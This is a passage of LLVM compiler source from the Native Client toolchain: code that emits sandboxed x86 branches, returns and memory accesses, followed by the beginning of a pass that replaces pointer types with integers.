MOVInst.addOperand(MCOperand::CreateReg(SafeReg32));
MOVInst.addOperand(MCOperand::CreateReg(Reg32));
Out.EmitInstruction(MOVInst, STI);
Reg32 = SafeReg32;
}
if (IsCall) {
MCContext &Context = Out.getContext();
// Generate a label for the return address.
RetTarget = Context.createTempSymbol("IndirectCallRetAddr", true);
// Explicitly push the (32-bit) return address for a NaCl64 call
// instruction.
PushReturnAddress(STI, Context, Out, RetTarget);
}
}
const unsigned Reg64 = getX86SubSuperRegister_(Reg32, MVT::i64);
const bool WillEmitCallInst = IsCall && !HideSandboxBase;
Out.EmitBundleLock(WillEmitCallInst);
MCInst ANDInst;
ANDInst.setOpcode(X86::AND32ri8);
ANDInst.addOperand(MCOperand::CreateReg(Reg32));
ANDInst.addOperand(MCOperand::CreateReg(Reg32));
ANDInst.addOperand(MCOperand::CreateImm(JmpMask));
Out.EmitInstruction(ANDInst, STI);
if (Is64Bit && !FlagUseZeroBasedSandbox) {
MCInst InstADD;
InstADD.setOpcode(X86::ADD64rr);
InstADD.addOperand(MCOperand::CreateReg(Reg64));
InstADD.addOperand(MCOperand::CreateReg(Reg64));
InstADD.addOperand(MCOperand::CreateReg(X86::R15));
Out.EmitInstruction(InstADD, STI);
}
if (WillEmitCallInst) {
// callq *%rXX
MCInst CALLInst;
CALLInst.setOpcode(Is64Bit ? X86::CALL64r : X86::CALL32r);
CALLInst.addOperand(MCOperand::CreateReg(Is64Bit ? Reg64 : Reg32));
Out.EmitInstruction(CALLInst, STI);
} else {
// jmpq *%rXX -or- jmpq *%r11
MCInst JMPInst;
JMPInst.setOpcode(Is64Bit ? X86::JMP64r : X86::JMP32r);
JMPInst.addOperand(MCOperand::CreateReg(Is64Bit ? Reg64 : Reg32));
Out.EmitInstruction(JMPInst, STI);
}
Out.EmitBundleUnlock();
if (RetTarget) {
Out.EmitCodeAlignment(kNaClX86InstructionBundleSize);
Out.EmitLabel(RetTarget);
}
}
static void EmitRet(const llvm::MCSubtargetInfo &STI, const MCOperand *AmtOp,
bool Is64Bit, MCStreamer &Out) {
// For NaCl64 returns, follow the convention of using r11 to hold
// the target of an indirect jump to avoid potentially leaking the
// sandbox base address.
const bool HideSandboxBase = (FlagHideSandboxBase &&
Is64Bit && !FlagUseZeroBasedSandbox);
// For NaCl64 sandbox hiding, use r11 to hold the branch target.
// Otherwise, use rcx/ecx for fewer instruction bytes (no REX
// prefix).
const unsigned RegTarget = HideSandboxBase ? X86::R11 :
(Is64Bit ? X86::RCX : X86::ECX);
MCInst POPInst;
POPInst.setOpcode(Is64Bit ? X86::POP64r : X86::POP32r);
POPInst.addOperand(MCOperand::CreateReg(RegTarget));
Out.EmitInstruction(POPInst, STI);
if (AmtOp) {
assert(!Is64Bit);
MCInst ADDInst;
unsigned ADDReg = X86::ESP;
ADDInst.setOpcode(X86::ADD32ri);
ADDInst.addOperand(MCOperand::CreateReg(ADDReg));
ADDInst.addOperand(MCOperand::CreateReg(ADDReg));
ADDInst.addOperand(*AmtOp);
Out.EmitInstruction(ADDInst, STI);
}
EmitIndirectBranch(STI, MCOperand::CreateReg(RegTarget), Is64Bit, false, Out);
}
// Fix a register after being truncated to 32-bits.
static void EmitRegFix(const llvm::MCSubtargetInfo &STI, unsigned Reg64,
MCStreamer &Out) {
// lea (%rsp, %r15, 1), %rsp
// We do not need to add the R15 base for the zero-based sandbox model
if (!FlagUseZeroBasedSandbox) {
MCInst Tmp;
Tmp.setOpcode(X86::LEA64r);
Tmp.addOperand(MCOperand::CreateReg(Reg64)); // DestReg
Tmp.addOperand(MCOperand::CreateReg(Reg64)); // BaseReg
Tmp.addOperand(MCOperand::CreateImm(1)); // Scale
Tmp.addOperand(MCOperand::CreateReg(X86::R15)); // IndexReg
Tmp.addOperand(MCOperand::CreateImm(0)); // Offset
Tmp.addOperand(MCOperand::CreateReg(0)); // SegmentReg
Out.EmitInstruction(Tmp, STI);
}
}
static void EmitSPArith(const llvm::MCSubtargetInfo &STI, unsigned Opc,
const MCOperand &ImmOp, MCStreamer &Out) {
Out.EmitBundleLock(false);
MCInst Tmp;
Tmp.setOpcode(Opc);
Tmp.addOperand(MCOperand::CreateReg(X86::ESP));
Tmp.addOperand(MCOperand::CreateReg(X86::ESP));
Tmp.addOperand(ImmOp);
Out.EmitInstruction(Tmp, STI);
EmitRegFix(STI, X86::RSP, Out);
Out.EmitBundleUnlock();
}
static void EmitSPAdj(const llvm::MCSubtargetInfo &STI, const MCOperand &ImmOp,
MCStreamer &Out) {
Out.EmitBundleLock(false);
MCInst Tmp;
Tmp.setOpcode(X86::LEA64_32r);
Tmp.addOperand(MCOperand::CreateReg(X86::RSP)); // DestReg
Tmp.addOperand(MCOperand::CreateReg(X86::RBP)); // BaseReg
Tmp.addOperand(MCOperand::CreateImm(1)); // Scale
Tmp.addOperand(MCOperand::CreateReg(0)); // IndexReg
Tmp.addOperand(ImmOp); // Offset
Tmp.addOperand(MCOperand::CreateReg(0)); // SegmentReg
Out.EmitInstruction(Tmp, STI);
EmitRegFix(STI, X86::RSP, Out);
Out.EmitBundleUnlock();
}
static void EmitPrefix(const llvm::MCSubtargetInfo &STI, unsigned Opc,
MCStreamer &Out, X86MCNaClSFIState &State) {
MCInst PrefixInst;
PrefixInst.setOpcode(Opc);
State.EmitRaw = true;
Out.EmitInstruction(PrefixInst, STI);
State.EmitRaw = false;
}
static void EmitMoveRegReg(const llvm::MCSubtargetInfo &STI, bool Is64Bit,
unsigned ToReg, unsigned FromReg, MCStreamer &Out) {
MCInst Move;
Move.setOpcode(Is64Bit ? X86::MOV64rr : X86::MOV32rr);
Move.addOperand(MCOperand::CreateReg(ToReg));
Move.addOperand(MCOperand::CreateReg(FromReg));
Out.EmitInstruction(Move, STI);
}
static void EmitRegTruncate(const llvm::MCSubtargetInfo &STI, unsigned Reg64,
MCStreamer &Out) {
unsigned Reg32 = getX86SubSuperRegister_(Reg64, MVT::i32);
EmitMoveRegReg(STI, false, Reg32, Reg32, Out);
}
static void HandleMemoryRefTruncation(const llvm::MCSubtargetInfo &STI,
MCInst *Inst, unsigned IndexOpPosition,
MCStreamer &Out) {
unsigned IndexReg = Inst->getOperand(IndexOpPosition).getReg();
if (FlagUseZeroBasedSandbox) {
// With the zero-based sandbox, we use a 32-bit register on the index
Inst->getOperand(IndexOpPosition).setReg(DemoteRegTo32_(IndexReg));
} else {
EmitRegTruncate(STI, IndexReg, Out);
}
}
static void ShortenMemoryRef(MCInst *Inst, unsigned IndexOpPosition) {
unsigned ImmOpPosition = IndexOpPosition - 1;
unsigned BaseOpPosition = IndexOpPosition - 2;
unsigned IndexReg = Inst->getOperand(IndexOpPosition).getReg();
// For the SIB byte, if the scale is 1 and the base is 0, then
// an equivalent setup moves index to base, and index to 0. The
// equivalent setup is optimized to remove the SIB byte in
// X86MCCodeEmitter.cpp.
if (Inst->getOperand(ImmOpPosition).getImm() == 1 &&
Inst->getOperand(BaseOpPosition).getReg() == 0) {
Inst->getOperand(BaseOpPosition).setReg(IndexReg);
Inst->getOperand(IndexOpPosition).setReg(0);
}
}
static void EmitLoad(const llvm::MCSubtargetInfo &STI, bool Is64Bit,
unsigned DestReg, unsigned BaseReg, unsigned Scale,
unsigned IndexReg, unsigned Offset, unsigned SegmentReg,
MCStreamer &Out) {
// Load DestReg from address BaseReg + Scale * IndexReg + Offset
MCInst Load;
Load.setOpcode(Is64Bit ? X86::MOV64rm : X86::MOV32rm);
Load.addOperand(MCOperand::CreateReg(DestReg));
Load.addOperand(MCOperand::CreateReg(BaseReg));
Load.addOperand(MCOperand::CreateImm(Scale));
Load.addOperand(MCOperand::CreateReg(IndexReg));
Load.addOperand(MCOperand::CreateImm(Offset));
Load.addOperand(MCOperand::CreateReg(SegmentReg));
Out.EmitInstruction(Load, STI);
}
static bool SandboxMemoryRef(MCInst *Inst,
unsigned *IndexOpPosition) {
for (unsigned i = 0, last = Inst->getNumOperands(); i < last; i++) {
if (!Inst->getOperand(i).isReg() ||
Inst->getOperand(i).getReg() != X86::PSEUDO_NACL_SEG) {
continue;
}
// Return the index register that will need to be truncated.
// The order of operands on a memory reference is always:
// (BaseReg, ScaleImm, IndexReg, DisplacementImm, SegmentReg),
// So if we found a match for a segment register value, we know that
// the index register is exactly two operands prior.
*IndexOpPosition = i - 2;
// Remove the PSEUDO_NACL_SEG annotation.
Inst->getOperand(i).setReg(0);
return true;
}
return false;
}
static void EmitREST(const llvm::MCSubtargetInfo &STI, const MCInst &Inst,
unsigned Reg32, bool IsMem, MCStreamer &Out) {
unsigned Reg64 = getX86SubSuperRegister_(Reg32, MVT::i64);
Out.EmitBundleLock(false);
if (!IsMem) {
EmitMoveRegReg(STI, false, Reg32, Inst.getOperand(0).getReg(), Out);
} else {
unsigned IndexOpPosition;
MCInst SandboxedInst = Inst;
if (SandboxMemoryRef(&SandboxedInst, &IndexOpPosition)) {
HandleMemoryRefTruncation(STI, &SandboxedInst, IndexOpPosition, Out);
ShortenMemoryRef(&SandboxedInst, IndexOpPosition);
}
EmitLoad(STI, false, Reg32,
SandboxedInst.getOperand(0).getReg(), // BaseReg
SandboxedInst.getOperand(1).getImm(), // Scale
SandboxedInst.getOperand(2).getReg(), // IndexReg
SandboxedInst.getOperand(3).getImm(), // Offset
SandboxedInst.getOperand(4).getReg(), // SegmentReg
Out);
}
EmitRegFix(STI, Reg64, Out);
Out.EmitBundleUnlock();
}
namespace {
// RAII holder for the recursion guard.
class EmitRawState {
public:
EmitRawState(X86MCNaClSFIState &S) : State(S) {
State.EmitRaw = true;
}
~EmitRawState() {
State.EmitRaw = false;
}
private:
X86MCNaClSFIState &State;
};
}
namespace llvm {
// CustomExpandInstNaClX86 -
// If Inst is a NaCl pseudo instruction, emits the substitute
// expansion to the MCStreamer and returns true.
// Otherwise, returns false.
//
// NOTE: Each time this function calls Out.EmitInstruction(), it will be
// called again recursively to rewrite the new instruction being emitted.
// Care must be taken to ensure that this does not result in an infinite
// loop. Also, global state must be managed carefully so that it is
// consistent during recursive calls.
//
// We need global state to keep track of the explicit prefix (PREFIX_*)
// instructions. Unfortunately, the assembly parser prefers to generate
// these instead of combined instructions. At this time, having only
// one explicit prefix is supported.
bool CustomExpandInstNaClX86(const llvm::MCSubtargetInfo &STI,
const MCInst &Inst, MCStreamer &Out,
X86MCNaClSFIState &State) {
// If we are emitting to .s, only sandbox pseudos not supported by gas.
if (Out.hasRawTextSupport()) {
if (!(Inst.getOpcode() == X86::NACL_ANDSPi8 ||
Inst.getOpcode() == X86::NACL_ANDSPi32))
return false;
}
// If we make a call to EmitInstruction, we will be called recursively. In
// this case we just want the raw instruction to be emitted instead of
// handling the instruction here.
if (State.EmitRaw == true) {
return false;
}
EmitRawState E(State);
unsigned Opc = Inst.getOpcode();
DEBUG(dbgs() << "CustomExpandInstNaClX86("; Inst.dump(); dbgs() << ")\n");
switch (Opc) {
case X86::LOCK_PREFIX:
case X86::REP_PREFIX:
case X86::REPNE_PREFIX:
case X86::REX64_PREFIX:
// Ugly hack because LLVM AsmParser is not smart enough to combine
// prefixes back into the instruction they modify.
assert(State.PrefixSaved == 0);
State.PrefixSaved = Opc;
return true;
case X86::CALLpcrel32:
assert(State.PrefixSaved == 0);
EmitDirectCall(STI, Inst.getOperand(0), false, Out);
return true;
case X86::CALL64pcrel32:
case X86::NACL_CALL64d:
assert(State.PrefixSaved == 0);
EmitDirectCall(STI, Inst.getOperand(0), true, Out);
return true;
case X86::NACL_CALL32r:
assert(State.PrefixSaved == 0);
EmitIndirectBranch(STI, Inst.getOperand(0), false, true, Out);
return true;
case X86::NACL_CALL64r:
assert(State.PrefixSaved == 0);
EmitIndirectBranch(STI, Inst.getOperand(0), true, true, Out);
return true;
case X86::NACL_JMP32r:
assert(State.PrefixSaved == 0);
EmitIndirectBranch(STI, Inst.getOperand(0), false, false, Out);
return true;
case X86::NACL_JMP64r:
case X86::NACL_JMP64z:
assert(State.PrefixSaved == 0);
EmitIndirectBranch(STI, Inst.getOperand(0), true, false, Out);
return true;
case X86::NACL_RET32:
assert(State.PrefixSaved == 0);
EmitRet(STI, NULL, false, Out);
return true;
case X86::NACL_RET64:
assert(State.PrefixSaved == 0);
EmitRet(STI, NULL, true, Out);
return true;
case X86::NACL_RETI32:
assert(State.PrefixSaved == 0);
EmitRet(STI, &Inst.getOperand(0), false, Out);
return true;
case X86::NACL_ASPi8:
assert(State.PrefixSaved == 0);
EmitSPArith(STI, X86::ADD32ri8, Inst.getOperand(0), Out);
return true;
case X86::NACL_ASPi32:
assert(State.PrefixSaved == 0);
EmitSPArith(STI, X86::ADD32ri, Inst.getOperand(0), Out);
return true;
case X86::NACL_SSPi8:
assert(State.PrefixSaved == 0);
EmitSPArith(STI, X86::SUB32ri8, Inst.getOperand(0), Out);
return true;
case X86::NACL_SSPi32:
assert(State.PrefixSaved == 0);
EmitSPArith(STI, X86::SUB32ri, Inst.getOperand(0), Out);
return true;
case X86::NACL_ANDSPi8:
assert(State.PrefixSaved == 0);
EmitSPArith(STI, X86::AND32ri8, Inst.getOperand(0), Out);
return true;
case X86::NACL_ANDSPi32:
assert(State.PrefixSaved == 0);
EmitSPArith(STI, X86::AND32ri, Inst.getOperand(0), Out);
return true;
case X86::NACL_SPADJi32:
assert(State.PrefixSaved == 0);
EmitSPAdj(STI, Inst.getOperand(0), Out);
return true;
case X86::NACL_RESTBPm:
assert(State.PrefixSaved == 0);
EmitREST(STI, Inst, X86::EBP, true, Out);
return true;
case X86::NACL_RESTBPr:
case X86::NACL_RESTBPrz:
assert(State.PrefixSaved == 0);
EmitREST(STI, Inst, X86::EBP, false, Out);
return true;
case X86::NACL_RESTSPm:
assert(State.PrefixSaved == 0);
EmitREST(STI, Inst, X86::ESP, true, Out);
return true;
case X86::NACL_RESTSPr:
case X86::NACL_RESTSPrz:
assert(State.PrefixSaved == 0);
EmitREST(STI, Inst, X86::ESP, false, Out);
return true;
}
unsigned IndexOpPosition;
MCInst SandboxedInst = Inst;
// If we need to sandbox a memory reference and we have a saved prefix,
// use a single bundle-lock/unlock for the whole sequence of
// added_truncating_inst + prefix + mem_ref_inst.
if (SandboxMemoryRef(&SandboxedInst, &IndexOpPosition)) {
unsigned PrefixLocal = State.PrefixSaved;
State.PrefixSaved = 0;
if (PrefixLocal || !FlagUseZeroBasedSandbox)
Out.EmitBundleLock(false);
HandleMemoryRefTruncation(STI, &SandboxedInst, IndexOpPosition, Out);
ShortenMemoryRef(&SandboxedInst, IndexOpPosition);
if (PrefixLocal)
EmitPrefix(STI, PrefixLocal, Out, State);
Out.EmitInstruction(SandboxedInst, STI);
if (PrefixLocal || !FlagUseZeroBasedSandbox)
Out.EmitBundleUnlock();
return true;
}
// If the special case above doesn't apply, but there is still a saved prefix,
// then the saved prefix should be bundled-locked with Inst, so that it cannot
// be separated by bundle padding.
if (State.PrefixSaved) {
unsigned PrefixLocal = State.PrefixSaved;
State.PrefixSaved = 0;
Out.EmitBundleLock(false);
EmitPrefix(STI, PrefixLocal, Out, State);
Out.EmitInstruction(Inst, STI);
Out.EmitBundleUnlock();
return true;
}
return false;
}
} // namespace llvm
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
// This is an exact copy of getX86SubSuperRegister from X86RegisterInfo.h
// We cannot use the original because it is part of libLLVMX86CodeGen,
// which cannot be a dependency of this module (libLLVMX86Desc).
//
// However, in all likelyhood, the real getX86SubSuperRegister will
// eventually be moved to MCTargetDesc, and then this copy can be
// removed.
namespace {
unsigned getX86SubSuperRegister_(unsigned Reg, EVT VT, bool High) {
switch (VT.getSimpleVT().SimpleTy) {
default: return Reg;
case MVT::i8:
if (High) {
switch (Reg) {
default: return 0;
case X86::AH: case X86::AL: case X86::AX: case X86::EAX: case X86::RAX:
return X86::AH;
case X86::DH: case X86::DL: case X86::DX: case X86::EDX: case X86::RDX:
return X86::DH;
case X86::CH: case X86::CL: case X86::CX: case X86::ECX: case X86::RCX:
return X86::CH;
case X86::BH: case X86::BL: case X86::BX: case X86::EBX: case X86::RBX:
return X86::BH;
}
} else {
switch (Reg) {
default: return 0;
case X86::AH: case X86::AL: case X86::AX: case X86::EAX: case X86::RAX:
return X86::AL;
case X86::DH: case X86::DL: case X86::DX: case X86::EDX: case X86::RDX:
return X86::DL;
case X86::CH: case X86::CL: case X86::CX: case X86::ECX: case X86::RCX:
return X86::CL;
case X86::BH: case X86::BL: case X86::BX: case X86::EBX: case X86::RBX:
return X86::BL;
case X86::SIL: case X86::SI: case X86::ESI: case X86::RSI:
return X86::SIL;
case X86::DIL: case X86::DI: case X86::EDI: case X86::RDI:
return X86::DIL;
case X86::BPL: case X86::BP: case X86::EBP: case X86::RBP:
return X86::BPL;
case X86::SPL: case X86::SP: case X86::ESP: case X86::RSP:
return X86::SPL;
case X86::R8B: case X86::R8W: case X86::R8D: case X86::R8:
return X86::R8B;
case X86::R9B: case X86::R9W: case X86::R9D: case X86::R9:
return X86::R9B;
case X86::R10B: case X86::R10W: case X86::R10D: case X86::R10:
return X86::R10B;
case X86::R11B: case X86::R11W: case X86::R11D: case X86::R11:
return X86::R11B;
case X86::R12B: case X86::R12W: case X86::R12D: case X86::R12:
return X86::R12B;
case X86::R13B: case X86::R13W: case X86::R13D: case X86::R13:
return X86::R13B;
case X86::R14B: case X86::R14W: case X86::R14D: case X86::R14:
return X86::R14B;
case X86::R15B: case X86::R15W: case X86::R15D: case X86::R15:
return X86::R15B;
}
}
case MVT::i16:
switch (Reg) {
default: return Reg;
case X86::AH: case X86::AL: case X86::AX: case X86::EAX: case X86::RAX:
return X86::AX;
case X86::DH: case X86::DL: case X86::DX: case X86::EDX: case X86::RDX:
return X86::DX;
case X86::CH: case X86::CL: case X86::CX: case X86::ECX: case X86::RCX:
return X86::CX;
case X86::BH: case X86::BL: case X86::BX: case X86::EBX: case X86::RBX:
return X86::BX;
case X86::SIL: case X86::SI: case X86::ESI: case X86::RSI:
return X86::SI;
case X86::DIL: case X86::DI: case X86::EDI: case X86::RDI:
return X86::DI;
case X86::BPL: case X86::BP: case X86::EBP: case X86::RBP:
return X86::BP;
case X86::SPL: case X86::SP: case X86::ESP: case X86::RSP:
return X86::SP;
case X86::R8B: case X86::R8W: case X86::R8D: case X86::R8:
return X86::R8W;
case X86::R9B: case X86::R9W: case X86::R9D: case X86::R9:
return X86::R9W;
case X86::R10B: case X86::R10W: case X86::R10D: case X86::R10:
return X86::R10W;
case X86::R11B: case X86::R11W: case X86::R11D: case X86::R11:
return X86::R11W;
case X86::R12B: case X86::R12W: case X86::R12D: case X86::R12:
return X86::R12W;
case X86::R13B: case X86::R13W: case X86::R13D: case X86::R13:
return X86::R13W;
case X86::R14B: case X86::R14W: case X86::R14D: case X86::R14:
return X86::R14W;
case X86::R15B: case X86::R15W: case X86::R15D: case X86::R15:
return X86::R15W;
}
case MVT::i32:
switch (Reg) {
default: return Reg;
case X86::AH: case X86::AL: case X86::AX: case X86::EAX: case X86::RAX:
return X86::EAX;
case X86::DH: case X86::DL: case X86::DX: case X86::EDX: case X86::RDX:
return X86::EDX;
case X86::CH: case X86::CL: case X86::CX: case X86::ECX: case X86::RCX:
return X86::ECX;
case X86::BH: case X86::BL: case X86::BX: case X86::EBX: case X86::RBX:
return X86::EBX;
case X86::SIL: case X86::SI: case X86::ESI: case X86::RSI:
return X86::ESI;
case X86::DIL: case X86::DI: case X86::EDI: case X86::RDI:
return X86::EDI;
case X86::BPL: case X86::BP: case X86::EBP: case X86::RBP:
return X86::EBP;
case X86::SPL: case X86::SP: case X86::ESP: case X86::RSP:
return X86::ESP;
case X86::R8B: case X86::R8W: case X86::R8D: case X86::R8:
return X86::R8D;
case X86::R9B: case X86::R9W: case X86::R9D: case X86::R9:
return X86::R9D;
case X86::R10B: case X86::R10W: case X86::R10D: case X86::R10:
return X86::R10D;
case X86::R11B: case X86::R11W: case X86::R11D: case X86::R11:
return X86::R11D;
case X86::R12B: case X86::R12W: case X86::R12D: case X86::R12:
return X86::R12D;
case X86::R13B: case X86::R13W: case X86::R13D: case X86::R13:
return X86::R13D;
case X86::R14B: case X86::R14W: case X86::R14D: case X86::R14:
return X86::R14D;
case X86::R15B: case X86::R15W: case X86::R15D: case X86::R15:
return X86::R15D;
}
case MVT::i64:
switch (Reg) {
default: return Reg;
case X86::AH: case X86::AL: case X86::AX: case X86::EAX: case X86::RAX:
return X86::RAX;
case X86::DH: case X86::DL: case X86::DX: case X86::EDX: case X86::RDX:
return X86::RDX;
case X86::CH: case X86::CL: case X86::CX: case X86::ECX: case X86::RCX:
return X86::RCX;
case X86::BH: case X86::BL: case X86::BX: case X86::EBX: case X86::RBX:
return X86::RBX;
case X86::SIL: case X86::SI: case X86::ESI: case X86::RSI:
return X86::RSI;
case X86::DIL: case X86::DI: case X86::EDI: case X86::RDI:
return X86::RDI;
case X86::BPL: case X86::BP: case X86::EBP: case X86::RBP:
return X86::RBP;
case X86::SPL: case X86::SP: case X86::ESP: case X86::RSP:
return X86::RSP;
case X86::R8B: case X86::R8W: case X86::R8D: case X86::R8:
return X86::R8;
case X86::R9B: case X86::R9W: case X86::R9D: case X86::R9:
return X86::R9;
case X86::R10B: case X86::R10W: case X86::R10D: case X86::R10:
return X86::R10;
case X86::R11B: case X86::R11W: case X86::R11D: case X86::R11:
return X86::R11;
case X86::R12B: case X86::R12W: case X86::R12D: case X86::R12:
return X86::R12;
case X86::R13B: case X86::R13W: case X86::R13D: case X86::R13:
return X86::R13;
case X86::R14B: case X86::R14W: case X86::R14D: case X86::R14:
return X86::R14;
case X86::R15B: case X86::R15W: case X86::R15D: case X86::R15:
return X86::R15;
}
}
return Reg;
}
// This is a copy of DemoteRegTo32 from X86NaClRewritePass.cpp.
// We cannot use the original because it uses part of libLLVMX86CodeGen,
// which cannot be a dependency of this module (libLLVMX86Desc).
// Note that this function calls getX86SubSuperRegister_, which is
// also a copied function for the same reason.
unsigned DemoteRegTo32_(unsigned RegIn) {
if (RegIn == 0)
return 0;
unsigned RegOut = getX86SubSuperRegister_(RegIn, MVT::i32, false);
assert(RegOut != 0);
return RegOut;
}
} //namespace
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
unsigned getReg32(unsigned Reg) {
switch (Reg) {
default:
return getX86SubSuperRegister_(Reg, MVT::i32, false);
case X86::IP:
case X86::EIP:
return X86::EIP;
case X86::RIP:
llvm_unreachable("Trying to demote %rip");
}
}
unsigned getReg64(unsigned Reg) {
switch (Reg) {
default:
return getX86SubSuperRegister_(Reg, MVT::i64, false);
case X86::IP:
case X86::EIP:
case X86::RIP:
return X86::RIP;
}
}
<file_sep>/lib/Transforms/NaCl/ReplacePtrsWithInts.cpp
//===- ReplacePtrsWithInts.cpp - Convert pointer values to integer values--===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass strips out aggregate pointer types and replaces them with
// the integer type iPTR, which is i32 for PNaCl (though this pass
// will allow iPTR to be i64 if the DataLayout specifies 64-bit
// pointers).
//
// This pass relies on -simplify-allocas to transform allocas into arrays of
// bytes.
//
// The pass converts IR to the following normal form:
//
// All inttoptr and ptrtoint instructions use the same integer size
// (iPTR), so they do not implicitly truncate or zero-extend.
//
// Pointer types only appear in the following instructions:
// * loads and stores: the pointer operand is a NormalizedPtr.
// * function calls: the function operand is a NormalizedPtr.
// * intrinsic calls: any pointer arguments are NormalizedPtrs.
// * alloca
// * bitcast and inttoptr: only used as part of a NormalizedPtr.
// * ptrtoint: the operand is an InherentPtr.
//
// Where an InherentPtr is defined as a pointer value that is:
// * an alloca;
// * a GlobalValue (a function or global variable); or
// * an intrinsic call.
//
// And a NormalizedPtr is defined as a pointer value that is:
// * an inttoptr instruction;
// * an InherentPtr; or
// * a bitcast of an InherentPtr.
//
// This pass currently strips out lifetime markers (that is, calls to
// the llvm.lifetime.start/end intrinsics) and invariant markers
// (calls to llvm.invariant.start/end).
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/SmallPtrSet.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DebugInfo.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Type.h"
#include "llvm/Pass.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
// This is a ModulePass because the pass must recreate functions in
// order to change their argument and return types.
struct ReplacePtrsWithInts : public ModulePass {
static char ID; // Pass identification, replacement for typeid
ReplacePtrsWithInts() : ModulePass(ID) {
initializeReplacePtrsWithIntsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
// FunctionConverter stores the state for mapping old instructions
// (of pointer type) to converted instructions (of integer type)
// within a function, and provides methods for doing the conversion.
class FunctionConverter {
// Int type that pointer types are to be replaced with, typically i32.
Type *IntPtrType;
struct RewrittenVal {
RewrittenVal(): Placeholder(NULL), NewIntVal(NULL) {}
Value *Placeholder;
Value *NewIntVal;
};
// Maps from old values (of pointer type) to converted values (of
// IntPtrType type).
DenseMap<Value *, RewrittenVal> RewriteMap;
public:
FunctionConverter(Type *IntPtrType) : IntPtrType(IntPtrType) {}
// Returns the normalized version of the given type, converting
// pointer types to IntPtrType.
Type *convertType(Type *Ty);
// Returns the normalized version of the given function type by
// normalizing the function's argument types.
FunctionType *convertFuncType(FunctionType *FTy);
// Records that 'To' is the normalized version of 'From'. If 'To'
// is not of pointer type, no type conversion is required, so this
// can take the short cut of replacing 'To' with 'From'.
void recordConverted(Value *From, Value *To);
void recordConvertedAndErase(Instruction *From, Value *To);
// Returns Val with no-op casts (those that convert between
// IntPtrType and pointer types) stripped off.
Value *stripNoopCasts(Value *Val);
// Returns the normalized version of the given value.
//
// If the conversion of Val has been deferred, this returns a
// placeholder object, which will later be replaceAllUsesWith'd to
// the final value. Since replaceAllUsesWith does not work on
// references by metadata nodes, this can be bypassed using
// BypassPlaceholder to get the real converted value, assuming it
// is available.
Value *convert(Value *Val, bool BypassPlaceholder = false);
// Returns the NormalizedPtr form of the given pointer value.
// Inserts conversion instructions at InsertPt.
Value *convertBackToPtr(Value *Val, Instruction *InsertPt);
// Returns the NormalizedPtr form of the given function pointer.
// Inserts conversion instructions at InsertPt.
Value *convertFunctionPtr(Value *Callee, Instruction *InsertPt);
// Converts an instruction without recreating it, by wrapping its
// operands and result.
void convertInPlace(Instruction *Inst);
void eraseReplacedInstructions();
// List of instructions whose deletion has been deferred.
SmallVector<Instruction *, 20> ToErase;
};
}
Type *FunctionConverter::convertType(Type *Ty) {
if (Ty->isPointerTy())
return IntPtrType;
return Ty;
}
FunctionType *FunctionConverter::convertFuncType(FunctionType *FTy) {
SmallVector<Type *, 8> ArgTypes;
for (FunctionType::param_iterator ArgTy = FTy->param_begin(),
E = FTy->param_end(); ArgTy != E; ++ArgTy) {
ArgTypes.push_back(convertType(*ArgTy));
}
return FunctionType::get(convertType(FTy->getReturnType()), ArgTypes,
FTy->isVarArg());
}
void FunctionConverter::recordConverted(Value *From, Value *To) {
if (!From->getType()->isPointerTy()) {
From->replaceAllUsesWith(To);
return;
}
RewrittenVal *RV = &RewriteMap[From];
assert(!RV->NewIntVal);
RV->NewIntVal = To;
}
void FunctionConverter::recordConvertedAndErase(Instruction *From, Value *To) {
recordConverted(From, To);
// There may still be references to this value, so defer deleting it.
ToErase.push_back(From);
}
Value *FunctionConverter::stripNoopCasts(Value *Val) {
SmallPtrSet<Value *, 4> Visited;
for (;;) {
if (!Visited.insert(Val).second) {
// It is possible to get a circular reference in unreachable
// basic blocks. Handle this case for completeness.
return UndefValue::get(Val->getType());
}
if (CastInst *Cast = dyn_cast<CastInst>(Val)) {
Value *Src = Cast->getOperand(0);
if ((isa<BitCastInst>(Cast) && Cast->getType()->isPointerTy()) ||
(isa<PtrToIntInst>(Cast) && Cast->getType() == IntPtrType) ||
(isa<IntToPtrInst>(Cast) && Src->getType() == IntPtrType)) {
Val = Src;
continue;
}
}
return Val;
}
}
Value *FunctionConverter::convert(Value *Val, bool BypassPlaceholder) {
Val = stripNoopCasts(Val);
if (!Val->getType()->isPointerTy())
return Val;
if (Constant *C = dyn_cast<Constant>(Val))
return ConstantExpr::getPtrToInt(C, IntPtrType);
RewrittenVal *RV = &RewriteMap[Val];
if (BypassPlaceholder) {
assert(RV->NewIntVal);
return RV->NewIntVal;
}
if (!RV->Placeholder)
RV->Placeholder = new Argument(convertType(Val->getType()));
return RV->Placeholder;
}
Value *FunctionConverter::convertBackToPtr(Value *Val, Instruction *InsertPt) {
Type *NewTy =
convertType(Val->getType()->getPointerElementType())->getPointerTo();
return new IntToPtrInst(convert(Val), NewTy, "", InsertPt);
}
Value *FunctionConverter::convertFunctionPtr(Value *Callee,
Instruction *InsertPt) {
FunctionType *FuncType = cast<FunctionType>(
Callee->getType()->getPointerElementType());
return new IntToPtrInst(convert(Callee),
convertFuncType(FuncType)->getPointerTo(),
"", InsertPt);
}
static bool ShouldLeaveAlone(Value *V) {
if (Function *F = dyn_cast<Function>(V))
return F->isIntrinsic();
if (isa<InlineAsm>(V))
return true;
return false;
}
void FunctionConverter::convertInPlace(Instruction *Inst) {
// Convert operands.
for (unsigned I = 0; I < Inst->getNumOperands(); ++I) {
Value *Arg = Inst->getOperand(I);
if (Arg->getType()->isPointerTy() && !ShouldLeaveAlone(Arg)) {
Value *Conv = convert(Arg);
